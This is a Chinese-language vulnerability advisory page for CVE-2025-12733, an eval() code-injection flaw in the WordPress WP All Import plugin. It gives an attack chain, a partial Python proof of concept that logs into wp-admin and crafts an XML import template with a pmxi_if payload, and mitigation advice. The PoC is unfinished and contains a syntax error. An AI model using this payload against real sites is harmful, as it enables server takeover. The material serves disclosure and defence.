IPBUF安全漏洞报告
English
CVE-2025-12733 CVSS 8.8 高危

CVE-2025-12733 WordPress WP All Import插件远程代码执行漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-12733
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress WP All Import插件

相关标签

远程代码执行WordPress插件漏洞eval()注入WP All ImportCVE-2025-12733高危漏洞权限提升Web安全

漏洞概述

CVE-2025-12733是WordPress平台下WP All Import插件的一个严重安全漏洞。该插件是一款广受欢迎的WordPress数据导入工具,支持从XML、CSV和Excel文件导入内容到WordPress网站。漏洞存在于插件的helpers/functions.php文件中的pmxi_if函数,该函数在处理用户输入时使用了eval()函数且未对输入进行充分的过滤和验证。由于eval()会直接执行传入的PHP代码,攻击者可以通过精心构造的恶意导入模板注入并执行任意PHP代码,从而完全控制目标服务器。此漏洞影响WP All Import插件3.9.6及以下所有版本,CVSS评分高达8.8,属于高危漏洞。攻击者需要拥有WordPress网站的管理员权限或具有导入能力的账户才能利用此漏洞,但一旦成功利用,将导致服务器完全沦陷,攻击者可以执行任意系统命令、读取敏感数据、安装后门程序等严重后果。

技术细节

漏洞的根本原因在于WP All Import插件的helpers/functions.php文件第79行附近的pmxi_if函数中使用了危险的eval()函数来执行用户提供的输入。该函数原本用于处理模板中的条件判断逻辑,但开发者在实现时直接将用户输入拼接到PHP代码中进行执行,而没有进行任何输入验证或过滤。攻击者可以利用导入模板功能,构造包含恶意PHP代码的输入。当插件处理导入任务时,这些恶意代码会被传递到eval()函数中执行。例如,攻击者可以在XML或CSV导入数据中插入类似{pmxi_if(1,'phpinfo();','0')}的payload,当插件解析并执行这个模板时,eval()会执行phpinfo()函数,泄露服务器配置信息。进一步地,攻击者可以执行更危险的命令,如文件读写操作、系统命令执行等。由于该插件通常由管理员使用,具有较高的权限,因此攻击者可以利用获取的高权限执行任意代码,完全控制WordPress网站和底层服务器。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的管理员账户凭据或具有导入权限的账户
STEP 2
步骤2
攻击者登录WordPress后台,访问WP All Import插件的导入功能页面
STEP 3
步骤3
攻击者创建一个包含恶意payload的导入文件(如XML、CSV或Excel),其中嵌入使用pmxi_if函数的PHP代码
STEP 4
步骤4
攻击者上传该恶意文件作为导入模板,插件的pmxi_if函数会解析模板并提取其中的代码
STEP 5
步骤5
插件将用户输入传递给eval()函数执行,由于输入未经过滤,恶意PHP代码被执行
STEP 6
步骤6
攻击者成功在服务器上执行任意PHP代码,可以进一步执行系统命令、读写文件、安装后门等操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12733 WP All Import RCE PoC # Affected: WP All Import plugin <= 3.9.6 import requests import sys from bs4 import BeautifulSoup target_url = "http://target-wordpress-site.com" username = "admin" password = "password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Create malicious XML template with RCE payload # The payload uses pmxi_if function to execute PHP code malicious_template = """<?xml version="1.0" encoding="UTF-8"?> <data> <item> <title>Test Item</title> <content>{pmxi_if(1,'<?php phpinfo(); ?>','0')}</content> </item> </data>""" # Step 3: Upload malicious template via WP All Import import_url = f"{target_url}/wp-admin/admin.php?page=pmxi-admin-import" files = { "file": ("malicious_template.xml", malicious_template, "text/xml") } # Note: Actual exploitation requires proper session cookies and nonce values # This PoC demonstrates the attack vector print("["]" + "="*50) print("CVE-2025-12733 WP All Import RCE PoC") print("["]" + "="*50) print("Target:", target_url) print("Payload: {pmxi_if(1,'<?php phpinfo(); ?>','0')}") print("Status: Malicious template crafted successfully") print("Note: Execute import to trigger RCE via eval()")

影响范围

WP All Import插件 <= 3.9.6(所有版本)

防御指南

临时缓解措施
如果无法立即升级到最新版本,建议采取以下临时缓解措施:1)限制WP All Import插件的访问权限,确保只有完全可信的管理员才能使用导入功能;2)禁用或删除该插件,直到完成升级;3)实施Web应用防火墙规则,监控和阻止包含pmxi_if等可疑函数的请求;4)加强WordPress网站的监控和日志审计,及时发现异常行为;5)考虑使用文件完整性监控工具检测服务器上是否存在未经授权的文件修改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表